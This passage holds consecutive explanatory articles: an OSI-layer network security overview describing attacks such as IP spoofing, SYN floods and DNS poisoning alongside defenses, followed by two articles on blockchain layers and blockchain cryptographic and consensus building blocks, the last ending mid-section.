For MAC spoofing prevention, implementing port security on network switches restricts the number of MAC addresses permitted on each port and can lock down ports to specific authorized MAC addresses. Network access control systems using 802.1X authentication require devices to authenticate before joining the network, adding another layer of security beyond simple MAC address validation. To prevent VLAN hopping attacks, network administrators should disable automatic trunking negotiations on switch ports, properly configure native VLANs, and implement VLAN access control lists that restrict traffic between different network segments according to security policy requirements.

Network Layer (Layer 3) Attacks and Mitigations

The network layer handles packet routing between different networks, including addressing, routing protocols, and path determination. This layer plays a critical role in connecting disparate networks and enabling internet communications, making it a prime target for attacks that aim to disrupt connectivity or gain unauthorized access to remote systems. Network layer attacks often leverage the inherent trust relationships between interconnected systems to bypass perimeter defenses.

IP spoofing represents a significant attack vector at the network layer, involving the falsification of source IP addresses in packet headers to impersonate trusted sources. This deception technique can fool receiving systems into believing communications originate from legitimate, trusted network entities. Hackers alter address data within the IP header, which can enable them to bypass IP-based authentication mechanisms and potentially launch other attacks like distributed denial of service campaigns. For successful IP spoofing, attackers typically need a trusted connection between devices, a controlled IP address that can be ignored, and the technical expertise to intercept and modify packet headers. The consequences of successful IP spoofing attacks include the inability to trace the attack back to its true source and challenges in implementing effective countermeasures since blocking the apparent source IP would impact legitimate systems.

Other common network layer attacks include routing attacks, where attackers manipulate routing protocols to redirect traffic through paths under their control, and ICMP-based attacks like ping floods or Smurf attacks that exploit the Internet Control Message Protocol to overwhelm target systems. Network layer attacks can be particularly devastating because they can affect entire network segments rather than individual hosts, potentially disrupting communications for numerous systems simultaneously. The distributed nature of routing infrastructure makes detecting and mitigating these attacks especially challenging, as they may originate from multiple sources or leverage legitimate network protocols in unexpected ways.

Network Layer Protection Strategies

To counter IP spoofing and other network layer attacks, organizations should implement ingress and egress filtering in accordance with best practices like RFC 2827. Ingress filtering blocks incoming packets with source addresses that don't match the expected network ranges, while egress filtering prevents outgoing packets with spoofed source addresses from leaving the network. Implementing RPF (Reverse Path Forwarding) checks on routers and firewalls verifies that incoming packets arrive on expected interfaces based on routing information, helping identify spoofed traffic. Authentication protocols that don't rely solely on IP addresses add another essential layer of security, requiring additional verification beyond network addressing.

Network monitoring systems that can detect abnormal traffic patterns serve as an important component in the defense against network layer attacks. These systems establish baselines of normal network behavior and alert security teams when unusual patterns emerge, potentially indicating an attack in progress. Implementing IPsec protocols for authentication and encryption of IP packets ensures data integrity and authenticity, protecting communications even if attackers manage to intercept traffic. Regular updates to routing infrastructure, including routers and switches, helps address known vulnerabilities that could be exploited in network layer attacks, maintaining a more robust security posture against evolving threats.

Transport Layer (Layer 4) Attacks and Mitigations

The transport layer ensures complete data transfer by providing end-to-end communication services between applications on different hosts. This layer handles connection establishment, reliability, flow control, and error recovery, making it responsible for guaranteeing that data reaches its destination correctly and in the proper sequence. Common protocols at this layer include TCP (Transmission Control Protocol) and UDP (User Datagram Protocol), each with distinct security considerations due to their different operational characteristics.

SYN Flood and TCP Session Attacks

SYN flooding represents one of the most prevalent transport layer attacks, functioning as a form of Denial of Service (DoS) that exploits the TCP three-way handshake process. In this attack method, the perpetrator sends numerous SYN packets to the target server but never completes the handshake by sending the final ACK message. This malicious technique leaves the server with a multitude of half-open connections, consuming critical system resources until the system becomes unresponsive to legitimate traffic requests. A notable example of SYN flood implementation occurred with the Mirai Botnet, which compromised over 600,000 Internet of Things devices and launched devastating DDoS attacks against high-profile targets including KrebsOnSecurity, Lonestar cell, and Dyn, a widely used DNS provider.

TCP session hijacking represents another significant transport layer threat, where attackers intercept and take over established connections between legitimate parties. By predicting sequence numbers and injecting malicious packets into the communication stream, attackers can assume control of authorized sessions without the need to authenticate. Session hijacking often follows other attack types like ARP spoofing, which enables the attacker to position themselves between communicating parties. The consequences of successful transport layer attacks can range from temporary service unavailability to unauthorized access to sensitive systems and data, making effective mitigation strategies essential for maintaining network security and operational continuity.

Transport Layer Defense Mechanisms

Organizations can implement several effective measures to protect against SYN flood attacks and other transport layer threats. Installing an Intrusion Prevention System (IPS) provides a critical first line of defense, as these systems can detect anomalous traffic patterns and block malicious packets before they overwhelm target servers. Properly configured firewalls contribute significantly to transport layer security by filtering suspicious traffic and implementing rate-limiting functions that prevent flood attacks from consuming all available resources. Deploying up-to-date networking equipment also enhances protection, as modern hardware often includes built-in safeguards against common DoS attacks, including SYN floods.

SYN cookies represent another powerful defense mechanism against SYN flood attacks. This technique allows servers to create and verify connection authenticity without allocating resources until the TCP handshake completes successfully, effectively preventing resource exhaustion. Commercial monitoring tools provide real-time visibility into network traffic patterns and can trigger automated responses when attack signatures are detected. For protection against session hijacking, implementing end-to-end encryption through protocols like TLS (Transport Layer Security) ensures that even if attackers intercept communications, they cannot meaningfully interpret or modify the encrypted data. Additionally, configuring shorter session timeouts reduces the window of opportunity for attackers attempting to hijack active sessions, further enhancing transport layer security.

Session Layer (Layer 5) Attacks and Mitigations

The session layer establishes, manages, and terminates connections between applications on different systems. It handles session checkpointing, recovery, and synchronization, enabling applications to resume communications from known points if interrupted. Although not explicitly implemented in many modern networking stacks, session functionality remains critical for maintaining stateful communications between networked applications and services.

Session Hijacking and Man-in-the-Middle Attacks

Session hijacking at this layer involves the unauthorized takeover of legitimate communication sessions between applications. Attackers typically target authentication tokens, cookies, or session identifiers to assume control of established sessions without needing to provide valid credentials. Once an attacker successfully hijacks a session, they can perform actions with the privileges of the legitimate user, potentially accessing sensitive information or executing unauthorized commands. Session attacks often exploit vulnerabilities in session management implementations, such as predictable session identifiers, insufficient timeout mechanisms, or insecure storage of session data.

Man-in-the-Middle (MITM) attacks represent another significant threat at the session layer, where attackers secretly position themselves between communicating parties. In these attacks, the malicious actor intercepts traffic, breaks the authentication chain, and impersonates the endpoints seamlessly, allowing them to eavesdrop on or modify communications. The main objective of MITM attacks is to steal the session and thereby gain access to the information being transmitted between parties. These attacks can be particularly dangerous because they may remain undetected while allowing attackers to capture sensitive data like credentials, financial information, or proprietary communications that appear to flow normally between legitimate endpoints.

Session Layer Security Approaches

To protect against session layer attacks, organizations should implement robust session management practices that address multiple vulnerability points. Generating cryptographically strong, random session identifiers prevents attackers from guessing valid session tokens, while implementing proper session timeouts ensures that inactive sessions cannot be exploited. Regenerating session identifiers after authentication events (session fixation prevention) blocks attempts to establish sessions before user authentication and then maintain access after the user logs in. Binding sessions to additional contextual information like IP addresses or user-agent strings creates additional verification factors that make session hijacking more difficult.

For MITM attack prevention, implementing end-to-end encryption for all communications ensures data confidentiality and integrity even if traffic is intercepted. Transport Layer Security (TLS) with proper certificate validation represents the standard approach for securing session layer communications. Certificate pinning further enhances security by binding specific certificates or public keys to particular hosts, preventing attackers from using fraudulent certificates even if they manage to compromise certificate authorities. Multi-factor authentication adds another critical layer of protection by requiring additional verification beyond session tokens, making it substantially more difficult for attackers to fully compromise accounts even if they successfully intercept session information.

Presentation Layer (Layer 6) Attacks and Mitigations

The presentation layer handles data translation, encryption, and compression to ensure information can be properly interpreted by the application layer. It manages character encoding, data compression, and cryptographic operations that prepare data for application processing. This layer plays a critical role in ensuring data compatibility between different systems while also providing security services that protect information during transmission.

Encryption and Compression Vulnerabilities

Attacks at the presentation layer typically target encryption implementations or data compression mechanisms. Vulnerabilities in cryptographic protocols like SSL/TLS can be exploited to decrypt supposedly secure communications or downgrade connections to less secure configurations. Historical examples include the POODLE, Heartbleed, and BEAST attacks that compromised TLS/SSL implementations, allowing attackers to access protected data. These vulnerabilities often arise from implementation flaws, outdated algorithms, or protocol design weaknesses that attackers can leverage to bypass encryption protections.

Data compression attacks represent another category of presentation layer vulnerabilities, where compression algorithms can inadvertently leak information about encrypted data. Attacks like CRIME and BREACH exploit the way compression works to deduce the contents of encrypted communications through careful analysis of compressed packet sizes. These sophisticated attacks target the interaction between compression and encryption rather than breaking the encryption directly, demonstrating how seemingly beneficial features like compression can introduce unexpected security vulnerabilities. The technical complexity of cryptographic implementations makes this layer particularly susceptible to subtle implementation errors that might go undetected during security reviews but can be discovered and exploited by determined attackers.

Presentation Layer Protection Methods

Defending against presentation layer attacks requires diligent management of cryptographic implementations and careful configuration of security features. Organizations should regularly update encryption libraries and protocols to address known vulnerabilities, ensuring they implement the latest secure versions of TLS while disabling older, vulnerable protocol versions like SSLv3. Implementing perfect forward secrecy ensures that even if encryption keys are compromised in the future, past communications remain protected, significantly enhancing long-term data security. Properly configured cipher suites that prioritize strong encryption algorithms while disabling weak or deprecated options help maintain robust cryptographic protection.

For compression-related vulnerabilities, organizations should carefully evaluate the security implications of enabling compression for sensitive data, particularly in conjunction with encryption. Implementing HTTP response headers like Content-Security-Policy provides additional protection against certain types of attacks by controlling how resources are loaded and executed. Regular security assessments specifically targeting cryptographic implementations help identify potential vulnerabilities before they can be exploited by attackers. By maintaining awareness of emerging threats to encryption and compression technologies, security teams can proactively address potential vulnerabilities in presentation layer implementations before they lead to security breaches.

Application Layer (Layer 7) Attacks and Mitigations

The application layer represents the highest level of the OSI model and provides network services directly to end-user applications. This layer encompasses protocols like HTTP, FTP, SMTP, and DNS that enable specific network functions and user interactions. As the most visible and accessible layer for end users, the application layer presents numerous attack vectors that target specific application vulnerabilities and protocol weaknesses.

DNS Spoofing and Web Application Attacks

DNS spoofing, also known as DNS cache poisoning, involves manipulating the Domain Name System resolution process to redirect users to malicious or fraudulent websites. In these attacks, perpetrators intercept and modify DNS responses, exploiting vulnerabilities in DNS servers or routers to inject false DNS records into the DNS cache. When users attempt to access legitimate websites, their devices consult the poisoned DNS cache and receive the attacker's manipulated IP address, leading them to malicious sites that often appear identical to the legitimate destinations they intended to visit. These attacks can facilitate credential theft, malware distribution, or other malicious activities by exploiting users' trust in familiar websites.

Web application attacks constitute another major category of application layer threats, including cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF). In XSS attacks, malicious scripts are injected into trusted websites and executed in users' browsers, potentially stealing cookies, session tokens, or other sensitive information. SQL injection involves inserting malicious SQL code into application queries, potentially allowing attackers to view, modify, or delete database contents without proper authorization. These application-specific attacks exploit input validation weaknesses, improper output encoding, or insufficient security controls within web applications, potentially compromising both application functionality and data security.

Application Layer Security Solutions

To mitigate DNS spoofing risks, organizations should implement Domain Name System Security Extensions (DNSSEC), which add digital signatures to DNS records, ensuring data integrity and authenticity by validating the legitimacy of DNS responses. Configuring networks to use secure DNS resolvers from reputable providers that prioritize security and employ anti-spoofing measures provides another layer of protection against DNS attacks. Regular updates and patches for DNS servers and related software address vulnerabilities that could be exploited for spoofing attacks. Source port randomization makes it more difficult for attackers to predict and inject malicious responses, while network monitoring and intrusion detection systems help identify abnormal DNS traffic patterns that might indicate ongoing spoofing attempts.

For web application security, implementing a defense-in-depth approach addresses multiple vulnerability types simultaneously. Input validation and sanitization on both client and server sides prevent malicious data from being processed by applications. Output encoding ensures that user-supplied content is properly rendered without executing embedded code. Web application firewalls (WAFs) provide specialized protection against common attack patterns like SQL injection and XSS by analyzing and filtering HTTP requests before they reach protected applications. Security headers such as Content-Security-Policy restrict the sources of executable scripts, while proper session management practices prevent session hijacking and fixation attacks. Regular security assessments, including both automated scanning and manual penetration testing, help identify and remediate application vulnerabilities before they can be exploited by attackers.

Comprehensive Security Strategies Across the OSI Model

Effective network security requires a holistic approach that addresses vulnerabilities at all layers of the OSI model through coordinated protection mechanisms. Organizations must implement defense-in-depth strategies that provide multiple layers of security controls throughout their network architectures. This multi-layered approach ensures that if one security measure fails, others remain in place to prevent or limit potential damage. The interconnected nature of the OSI layers means that vulnerabilities at one level can often enable attacks at other levels, necessitating comprehensive protection strategies that address the entire communication stack.

Implementing Defense in Depth

Regular security audits and penetration testing play vital roles in maintaining effective protection across all OSI layers. These assessments should systematically evaluate security controls at each layer, identifying weaknesses before they can be exploited by actual attackers. Penetration testing mimics potential attacks through authorized simulations, triggering safety measures before real malicious attacks occur and providing valuable insights into security effectiveness. This proactive approach helps organizations understand their security posture from an attacker's perspective and prioritize remediation efforts based on realistic risk assessments.

Employee training and awareness represents another critical component of comprehensive security, as human factors often constitute the weakest link in security systems. Regular training ensures staff understand security risks and follow proper protocols when using network resources. Routine security checks and continuous monitoring provide ongoing visibility into network operations, enabling rapid detection and response to potential security incidents before they escalate into major breaches. By implementing security controls at every layer of the OSI model and maintaining vigilance through regular assessments and monitoring, organizations can develop robust security postures capable of addressing diverse and evolving threat landscapes.

Conclusion

Network security through the lens of the OSI model provides a structured approach to understanding and addressing the complex landscape of cyber threats targeting modern networks. Each layer presents unique vulnerability points that attackers can exploit, requiring specific mitigation strategies tailored to the characteristics and functions of that layer. From physical security measures protecting infrastructure to application-layer controls validating user inputs and securing communications, a comprehensive security program must address vulnerabilities throughout the entire network stack.

The interconnected nature of network communications means that security weaknesses at one layer often enable attacks at other layers, highlighting the importance of a defense-in-depth approach that implements multiple protections at each level. As noted in security research, "preventing an attack before it happens is the smartest move in the cyber field". This preventive mindset, coupled with regular security assessments, continuous monitoring, and prompt remediation of identified vulnerabilities, forms the foundation of effective network security practices. Organizations that develop security programs aligned with the OSI model can better understand attack vectors, implement appropriate countermeasures, and maintain more resilient network environments in the face of evolving cyber threats.

As attack techniques continue to evolve in sophistication, security practices must likewise advance to address emerging threats across all OSI layers. The proactive implementation of security controls, regular validation through penetration testing, and ongoing security monitoring create the framework necessary for adaptive network defense. By understanding the OSI model's structure and the security implications at each layer, organizations can develop comprehensive protection strategies that address both current and emerging threats to their network infrastructures, ensuring the confidentiality, integrity, and availability of critical systems and data.

Understanding Blockchain Layers: Architecture, Responsibilities, and Major Implementations

Blockchain technology has evolved from a simple distributed ledger to a sophisticated multi-layered ecosystem. This layered approach has become essential to address the limitations of early blockchain implementations while maintaining their core benefits of security, decentralization, and transparency. The current date is Friday, March 14, 2025, and blockchain technology continues to mature with increasingly specialized layers working in harmony to support diverse applications across industries. This comprehensive exploration explains how blockchain layers function, their specific responsibilities, and examines the most significant blockchain networks operating across these layers.

The Layered Architecture of Blockchain Technology

Blockchain technology is organized as a stack of interconnected components, each performing specialized functions while working together as a cohesive system. This architecture can be visualized as a building where each floor serves a distinct purpose yet relies on the foundation for stability and support. The layered structure addresses fundamental blockchain challenges including scalability, interoperability, and user accessibility while preserving the essential security properties that make blockchain valuable. This approach enables blockchain networks to process more transactions, connect with other networks, and support complex applications beyond simple value transfers.

The modern blockchain ecosystem typically consists of multiple layers, with each layer building upon the functionality of those beneath it. The foundational infrastructure begins at Layer 0, followed by the core blockchain protocol at Layer 1, scaling solutions at Layer 2, and applications at Layer 3 and beyond. This architecture allows specialization at each level, with lower layers focusing on security and consensus while higher layers prioritize throughput, user experience, and specific use cases. As blockchain adoption increases, this layered approach has become crucial for meeting expanding demands without compromising the decentralized nature that defines blockchain technology.

Layer 0: The Foundational Infrastructure

Layer 0 serves as the underlying infrastructure upon which blockchain networks are built. This foundational layer encompasses the hardware, protocols, and connectivity frameworks that enable communication between distinct blockchain systems. Unlike the layers above it, Layer 0 focuses primarily on interoperability—enabling diverse blockchain networks to exchange information and value. This layer addresses the fundamental problem of blockchain isolation by creating standardized methods for cross-chain communication and data transfer.

The primary responsibility of Layer 0 is to provide the base-level protocols that allow different blockchains to interoperate effectively. This includes network connectivity, hardware infrastructure like servers and nodes, and the internet architecture that enables blockchains to function. Without Layer 0, blockchain networks would exist as isolated islands, unable to communicate with each other, limiting their collective utility and potential. By establishing common interoperability standards, Layer 0 creates a foundation for a more connected and versatile blockchain ecosystem that can support increasingly complex applications and services.

Notable examples of Layer 0 blockchains include Polkadot and Cosmos, both designed specifically to address interoperability challenges. Polkadot uses a sharded model where multiple blockchain "parachains" can connect to its relay chain, allowing them to communicate and share security. This approach enables specialized blockchains to focus on specific use cases while still benefiting from cross-chain integration. Similarly, Cosmos employs a hub-and-spoke model with its Inter-Blockchain Communication (IBC) protocol to connect multiple independent blockchains. Both networks demonstrate how Layer 0 infrastructure can unite otherwise disparate blockchain systems into a more cohesive and powerful ecosystem.

Layer 1: The Core Blockchain Protocol

Layer 1 represents the main blockchain protocol—the fundamental layer where transactions are validated, processed, and recorded on an immutable ledger. This layer implements the core consensus mechanisms, security protocols, and native cryptocurrency of a blockchain network. Layer 1 blockchains operate independently, maintaining their own network of nodes that collectively secure the system through mechanisms like Proof of Work (PoW) or Proof of Stake (PoS). The primary responsibility of Layer 1 is to provide a secure, decentralized foundation upon which additional functionality can be built.

Layer 1 blockchains handle essential functions including transaction validation, block creation, and maintaining consensus across the network. They establish the rules governing how new blocks are added to the chain and how conflicts are resolved. While Layer 1 protocols excel at security and decentralization, they often face limitations in transaction throughput and scalability. These limitations stem from the inherent trade-offs in blockchain design—achieving high security and decentralization typically comes at the cost of performance and efficiency. This "blockchain trilemma" has driven the development of additional layers to address these constraints while preserving the security benefits of the base layer.

Bitcoin and Ethereum stand as the most prominent examples of Layer 1 blockchains. Bitcoin, the original cryptocurrency, operates as a Layer 1 blockchain focused primarily on secure value transfer through its PoW consensus mechanism. While highly secure, Bitcoin's design limits it to approximately 7 transactions per second with relatively high fees during peak usage. Ethereum, another significant Layer 1 blockchain, expanded on Bitcoin's concept by introducing programmable smart contracts, enabling more complex applications. However, Ethereum has faced similar scalability challenges, processing around 15-30 transactions per second on its base layer, which has necessitated the development of Layer 2 scaling solutions.

Layer 2: The Scaling Solutions

Layer 2 refers to a collection of technologies built on top of existing Layer 1 blockchains to improve scalability, efficiency, and transaction throughput without compromising the security guarantees of the underlying protocol. These solutions process transactions off the main blockchain (off-chain) before eventually settling the final results back onto the base layer. By handling the majority of computational work away from the main chain, Layer 2 significantly reduces congestion, lowers transaction fees, and increases processing speed while inheriting the security properties of the Layer 1 blockchain.

The primary responsibility of Layer 2 is to overcome the limitations of Layer 1 blockchains by providing scalability solutions that maintain compatibility with existing protocols. Layer 2 solutions use various techniques including state channels, sidechains, and rollups to achieve this goal. State channels establish direct connections between users for conducting multiple transactions off-chain before settling the final state on the main blockchain. Sidechains operate as separate blockchains with their own consensus mechanisms but remain connected to the main chain. Rollups bundle multiple transactions together before submitting them to the main chain, distributing the gas fees across all included transactions to reduce costs per user.

Several notable Layer 2 solutions have gained prominence across different blockchain ecosystems. The Lightning Network represents Bitcoin's primary Layer 2 scaling solution, enabling fast and low-cost transactions through payment channels. Users can conduct numerous transactions through these channels without constantly recording them on the main Bitcoin blockchain, only settling the final state when the channel closes. For Ethereum, popular Layer 2 solutions include Arbitrum and Optimism, both implementing optimistic rollups that process transactions off-chain while posting transaction data to Ethereum for security. Another significant Ethereum scaling solution is Polygon, which functions as a sidechain with its own validator set while maintaining a connection to Ethereum for security and interoperability.

Layer 3: The Application Layer

Layer 3, commonly referred to as the application layer, hosts the user-facing applications and interfaces that interact with the underlying blockchain infrastructure. This layer bridges the technical capabilities of blockchains with practical real-world use cases, making the technology accessible to everyday users. Layer 3 encompasses decentralized applications (dApps), development frameworks, and API services that leverage the security and decentralization of lower layers while providing specific functionality for various industries and use cases.

The primary responsibility of Layer 3 is to deliver practical blockchain-based solutions that address real-world problems across different sectors. This layer transforms the abstract capabilities of blockchains into tangible applications with clear utility. Layer 3 applications span diverse domains including decentralized finance (DeFi), non-fungible token (NFT) marketplaces, gaming platforms, supply chain management systems, digital identity solutions, and governance frameworks. By providing intuitive interfaces and specific functionality, Layer 3 makes blockchain technology accessible to users who may not understand the underlying technical complexity.

The application layer hosts numerous innovative projects across various blockchain ecosystems. In the Ethereum ecosystem, prominent Layer 3 applications include decentralized exchanges like Uniswap, lending platforms like Aave, and NFT marketplaces like OpenSea. These applications leverage Ethereum's smart contract functionality to provide financial services without traditional intermediaries. Similarly, applications built on other Layer 1 blockchains, such as Solana's Serum DEX or Binance Smart Chain's PancakeSwap, demonstrate how Layer 3 applications can be optimized for specific blockchain environments. As blockchain technology continues to mature, Layer 3 applications increasingly focus on cross-chain functionality, allowing users to access services across multiple blockchain networks simultaneously.

Higher Layers and Emerging Infrastructure

Beyond the core three layers, blockchain architecture continues to evolve with higher layers focusing on specialized functions and cross-chain interactions. Layer 4 and above concentrate on user experience, advanced services, and integration with external systems. These higher layers aim to make blockchain technology more accessible to mainstream users by abstracting away technical complexity and providing seamless interfaces for interaction. As the blockchain ecosystem matures, these higher layers will play an increasingly important role in bridging the gap between specialized blockchain functionality and general-purpose applications.

The evolution of blockchain layers reflects the technology's progression from experimental prototypes to production-ready systems capable of supporting significant economic activity. New developments in Layer 0 protocols focus on enhancing interoperability between distinct blockchain networks, allowing for more seamless transfer of assets and information across previously isolated systems. Meanwhile, advancements in Layer 2 scaling solutions continue to push the boundaries of what's possible in terms of transaction throughput and cost efficiency. These developments collectively move the blockchain ecosystem toward greater utility, accessibility, and integration with existing economic systems.

How Blockchain Layers Work Together

The power of blockchain technology emerges from the harmonious interaction between its various layers, with each layer fulfilling a specialized role while supporting the overall system. Layer 0 provides the foundational infrastructure and interoperability protocols that allow different blockchains to communicate. Layer 1 establishes the secure and decentralized base upon which all other functionality depends. Layer 2 enhances scalability and efficiency through off-chain processing methods. Layer 3 delivers practical applications that connect blockchain capabilities to real-world use cases. Together, these layers form a cohesive ecosystem that balances security, scalability, and usability.

This layered approach allows blockchain technology to overcome the inherent limitations of earlier systems while preserving their fundamental benefits. Rather than forcing a single blockchain to handle all responsibilities—consensus, security, scalability, and application logic—the layered model distributes these functions across specialized components. This specialization enables optimizations at each level: Layer 1 can focus on security without compromising on decentralization, Layer 2 can prioritize performance without rebuilding consensus mechanisms from scratch, and Layer 3 can deliver intuitive user experiences without managing the underlying infrastructure. The result is a more robust, efficient, and versatile blockchain ecosystem capable of supporting increasingly complex applications.

Conclusion

The layered architecture of blockchain technology represents a sophisticated response to the challenges faced by early blockchain implementations. By distributing responsibilities across multiple specialized layers—from the foundational infrastructure of Layer 0 to the application-focused Layer 3—blockchain systems achieve a balance of security, scalability, and usability that would be impossible within a single-layer approach. Each layer makes distinct contributions to the overall ecosystem: Layer 0 enables cross-chain communication, Layer 1 provides security and consensus, Layer 2 delivers scalability and efficiency, and Layer 3 connects blockchain capabilities to practical applications.

Major blockchain networks have embraced this layered approach in different ways. Bitcoin focuses on security at Layer 1 while developing the Lightning Network at Layer 2 for everyday transactions. Ethereum maintains a robust smart contract platform at Layer 1 while supporting multiple Layer 2 scaling solutions like Arbitrum, Optimism, and Polygon. Meanwhile, Layer 0 protocols like Polkadot and Cosmos are building infrastructure for a multi-chain future where different blockchains can seamlessly interact. As blockchain technology continues to mature, this layered architecture will likely evolve further, with new innovations addressing emerging challenges and expanding the technology's capabilities across industries.

Building Blocks of Blockchain Technology: From Cryptographic Foundations to Smart Contract Ecosystems

Blockchain technology represents one of the most significant innovations in digital infrastructure over the past decade, combining advances in cryptography, distributed systems, and consensus mechanisms to create secure, transparent, and tamper-resistant networks. This technology has evolved from its original implementation in Bitcoin to support complex applications across various industries, from finance to supply chain management. The foundational elements of blockchain work in concert to enable trustless interactions in environments where participants may not inherently trust one another. This comprehensive analysis explores the core building blocks of blockchain technology, from its cryptographic underpinnings to its execution environments for smart contracts.

Cryptographic Foundations

Secure Hash Algorithms: SHA-3 and Keccak

The security of blockchain systems relies heavily on cryptographic hash functions, with SHA-3 (Secure Hash Algorithm 3) representing one of the most advanced implementations. Released by NIST in August 2015, SHA-3 is based on the Keccak cryptographic primitive family and represents a significant advancement in hash function design. Unlike its predecessors, SHA-3 employs a novel approach called the sponge construction, which consists of two primary phases: "absorbing" and "squeezing".

During the absorbing phase, message blocks are XORed into a subset of the state, followed by a transformation using a permutation function. In the squeezing phase, output blocks are read from the same subset of the state, alternated with the state transformation function. This architecture allows SHA-3 to process input data of any length and produce output of any desired length while maintaining strong security properties. The sponge construction's security level is determined by its capacity parameter, with the maximum security level being half the capacity.

SHA-3 also employs a specific padding mechanism using the pattern 10...01, ensuring that even if the original message length is divisible by the rate parameter, additional bits are added to prevent similar messages from producing identical hashes. This attention to detail in the algorithm's design prevents various cryptographic attacks that plagued earlier hash functions.

SHA3

Elliptic Curve Cryptography (ECC)

Elliptic Curve Cryptography forms the backbone of the public-private key infrastructure in many blockchain implementations, particularly Bitcoin. ECC utilizes the mathematical properties of elliptic curves over finite fields to generate cryptographically secure key pairs. The fundamental advantage of ECC lies in its asymmetric nature—it creates related points on a curve that are computationally simple to calculate in one direction but practically impossible to reverse-engineer.

Bitcoin specifically employs the secp256k1 curve, a Koblitz curve defined over a finite field of prime integers. The curve follows the formula y² = x³ + 7 mod (1.158 × 10^77). Unlike standard elliptic curves with random structures, secp256k1 was constructed with specific properties that enhance computational efficiency while maintaining security. The modular arithmetic used in these calculations works similarly to a clock, where after reaching a maximum value, the count cycles back to the beginning.

Elliptic Curve

This cryptographic foundation ensures that while anyone can derive a public key from a private key through relatively straightforward mathematical operations, the reverse process of determining the private key from a public key would require computational resources beyond what is practically available—effectively securing the digital assets and identities within the blockchain.

Merkle Trees

Merkle trees, named after Ralph Merkle who proposed them in 1987, represent a critical data structure within blockchain systems that enables efficient and secure verification of large datasets. Also known as binary hash trees, these structures organize data in a hierarchical format where each non-leaf node is a hash of its child nodes.

Merkle Trees

In blockchain implementations, transactions within a block are hashed individually, and these hashes are then paired and hashed again iteratively until a single hash—the Merkle root—is produced. This Merkle root is then incorporated into the block header, serving as a compact representation of all transactions within that block. The Bitcoin blockchain and many other distributed ledger systems utilize this approach to efficiently encode blockchain data while providing a mechanism for simple verification.

The primary advantage of Merkle trees lies in their ability to verify the inclusion of a specific transaction without requiring the entire blockchain. Through a process called Merkle proofs, a user can confirm that a particular transaction exists within a block by examining only a small subset of the tree's nodes, significantly reducing the computational and bandwidth requirements for verification. This property is particularly valuable in distributed systems where resources may be constrained and efficiency is paramount.

Distributed Systems Architecture

Decentralized Ledger Technology

At its core, blockchain functions as a distributed database system where data is stored in chronologically ordered blocks, each containing transactions, timestamps, and cryptographic references to previous blocks. Unlike traditional centralized databases managed by a single authority, blockchain distributes the ledger across a network of participants, each maintaining their own identical copy that is updated in real-time as new transactions are validated and added.

This architectural approach eliminates single points of failure and control, making the system highly resilient to outages and censorship attempts. Each participant in the network, often called a node, independently verifies the validity of new transactions according to the network's consensus rules before adding them to their local copy of the ledger. The distributed nature of blockchain databases creates an environment where trust is derived from the collective participation of the network rather than from any single entity.

The immutability of recorded data represents one of the most powerful features of blockchain's distributed architecture. Once information is committed to the blockchain and sufficient confirmation has occurred through the addition of subsequent blocks, altering that information would require simultaneously changing the records on the majority of nodes in the network—a practically impossible task in large, well-established blockchain networks.

Network Topology and Data Propagation

Blockchain networks operate as peer-to-peer systems where nodes connect directly with multiple other participants without requiring intermediary servers. This mesh-like topology ensures that even if some connections fail or some nodes go offline, the network continues to function through alternative paths. When a new transaction is initiated, it is broadcast to neighboring nodes, which verify its validity against their copy of the ledger before relaying it to their connections, creating a ripple effect that quickly propagates the information across the entire network.

Similarly, when new blocks are created through the consensus process, they are distributed throughout the network using the same peer-to-peer communication channels. This propagation mechanism ensures that all participants maintain synchronized copies of the ledger, with temporary inconsistencies quickly resolved as nodes adopt the longest valid chain according to the network's consensus rules.

The efficiency of data propagation represents a critical factor in blockchain performance, as delays can lead to increased rates of orphaned blocks (valid blocks that are ultimately discarded when longer chains are established) and potential temporary forks in the blockchain. Advanced blockchain networks implement sophisticated relay protocols that optimize the transmission of transaction and block data to minimize these issues.

Consensus Mechanisms

Principles of Consensus in Distributed Networks

Consensus mechanisms serve as the fundamental protocols that enable all participants in a blockchain network to agree on a single version of the truth without requiring a central authority. These mechanisms act as verification standards through which each blockchain transaction gains network-wide approval, ensuring that the distributed ledger remains consistent across all nodes despite potential disagreements or malicious actors.

At their core, consensus mechanisms are self-regulatory stacks of software protocols embedded in a blockchain's code that synchronize the network to maintain agreement on the state of the digital ledger. They establish rules for validating new transactions and blocks, determining which blocks are added to the chain, and resolving conflicts when multiple valid blocks are proposed simultaneously.

When a user attempts to process a transaction, nodes input this data, cross-check it against their records, and report back with an approval or disapproval status. For instance, if someone tries to spend previously used coins (a double-spending attempt), the transaction would be denied based on verification against the immutable ledger and confirmed by majority disapproval. This process ensures that only valid transactions that adhere to the network's rules are permanently recorded on the blockchain.

Different blockchain networks employ various consensus mechanisms, each with distinct advantages and trade-offs in terms of security, efficiency, and decentralization:

Proof of Work (PoW), famously used by Bitcoin, requires participants (miners) to solve computationally intensive mathematical puzzles to validate transactions and create new blocks. This mechanism provides strong security but consumes significant energy resources. In PoW systems, the chain with the most cumulative computational work is considered the valid blockchain, making attacks prohibitively expensive on established networks.

Proof of Stake (PoS), adopted by Ethereum after its "Merge" upgrade, selects validators to create new blocks based on the amount of cryptocurrency they hold and are willing to "stake" as collateral. Validators are incentivized to act honestly because they can lose their staked assets if they attempt to validate fraudulent transactions. This approach dramatically reduces energy consumption compared to PoW while maintaining security through economic incentives.

Delegated Proof of Stake (DPoS), implemented by blockchains like BNB Chain, allows token holders to vote for a limited number of delegates who are responsible for validating transactions and maintaining the network. This model increases transaction throughput but introduces some degree of centralization compared to pure PoS systems.

Byzantine Fault Tolerance (BFT) variants, including Practical Byzantine Fault Tolerance (PBFT) and Delegated Byzantine Fault Tolerance (dBFT), focus on achieving consensus even when some nodes in the network act maliciously or fail. These mechanisms typically require known validators and offer high transaction finality but may sacrifice some aspects of decentralization.

Tamper Prevention Mechanisms

Cryptographic Chaining and Immutability

Blockchain's resistance to tampering stems from its fundamental design, where each block contains a cryptographic hash of the previous block, creating an unbroken chain of references. This chaining mechanism ensures that altering any information in a block would change its hash, invalidating all subsequent blocks and making unauthorized modifications immediately apparent to network participants.

For an attacker to successfully tamper with blockchain data, they would need to not only modify the target block but also recalculate all subsequent blocks and convince the majority of the network to accept this alternative chain—a task that becomes exponentially more difficult as the chain grows longer. In proof-of-work systems, this would require controlling more than 50% of the network's total computational power, while in proof-of-stake systems, it would necessitate controlling a majority of the staked cryptocurrency.

